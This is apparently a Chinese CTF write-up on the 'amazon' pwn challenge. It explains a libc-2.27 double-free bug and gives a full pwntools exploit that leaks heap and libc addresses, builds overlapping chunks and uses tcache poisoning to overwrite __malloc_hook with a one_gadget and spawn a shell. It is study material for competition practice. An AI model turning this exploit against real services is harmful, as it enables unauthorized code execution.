数字经济云安全众测大赛复现(tcache poisoning)

amazon

  • 这题没做出,靠着复现大佬的exp和阿鹏师傅的提示才摸索着明白了思路。 数据结构结合调试和buy函数里的内容就很清楚了,不多说看图

    所以结构如下:
    1
    2
    3
    4
    5
    6
    struct node{
    char* item; //0x10
    //间隔0x10
    char* content;
    int size;//0x8
    }
    漏洞点也很明显,free后未置零,可double free.

因为题目给了libc-2.27的文件…暗示很明显…要搞tcache.
又因为这题保护全开,所以思路基本上是改hook
具体的思路:泄露libc,heap地址后,利用double_free 攻击small_bin 来构造overlap chunk(由于main_arena的top指针会被覆盖,所以后期不能从top_chunk分配,之前就要构造好chunk结构),最后利用tcache poisoning覆盖到malloc_hook与realloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *

#context.log_level = 'debug'

p = process('./amazon')
#p=remote("121.41.38.38",9999)
libc=ELF("./libc-2.27.so")

def g(p,data=False):
gdb.attach(p,data)
raw_input()

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

def rl():
return p.recvline()

def re(x):
return p.recv(x)

def add(idx,price,length,data):
ru("Your choice: ")
sl(str(1))
ru("uy: ")
sl(str(idx))
ru("many: ")
sl(str(price))
ru("note: ")
sl(str(length))
ru("tent: ")
se(data)

def add2(idx,price,length):
ru("Your choice: ")
sl(str(1))
ru("uy: ")
sl(str(idx))
ru("many: ")
sl(str(price))
ru("note: ")
sl(str(length))

def show():
ru("Your choice: ")
sl(str(2))

def free(idx):
ru("Your choice: ")
sl(str(3))
ru("for: ")
sl(str(idx))


add(1,0x10,0x90,"1"*8)
add(1,0x10,0x80,p64(0))
free(1)
add(1,0x10,0x30,"3"*8)
free(2)
add(1,0x10,0x20,";$0\x00")
add(1,0x10,0x20,"2"*8)
free(0)
free(0)
show()
ru("Name: ")
heap=u64(re(6).ljust(8,"\x00"))-0x260
print hex(heap)

for i in range(6):
free(0) ##多次free 0, 将0放入unsortedbin中, 使得tcache的链最后指向unsortedbin

show()
ru("Name: ")
lib=u64(re(6).ljust(8,"\x00"))-0x3ebca0
print hex(lib)

hook=libc.symbols["__malloc_hook"]
hook=lib+hook
print hex(hook)
one=lib+0x10a38c
realloc=lib+libc.symbols["realloc"]
print hex(realloc)

add(1,0x10,0x80,"y"*0x60+p64(0)+p64(0x51)+p64(lib+0x3ebce0)*2) ##在堆上伪造0x50的堆块,并且将该堆块的fd和bk指向smallbin.

add(1,0x10,0x90,"1"*8)

add(1,0x10,0x90,p64(lib+0x3ebcb0)*2+p64(lib+0x3ebcc0)*2+p64(lib+0x3ebcd0)*2+p64(heap+0x340+0x60)*2)# 将unsortedbin分配出来,修改之后的smallbin,将smallbin 的fd和bk指向之前伪造的堆块
add(1,0x10,0x20,p64(hook-0x28))
add(1,0x10,0x30,"wwe")

add(1,0x10,0x30,p64(one)+p64(realloc+0x9))

add2(1,1,0x60)

p.interactive()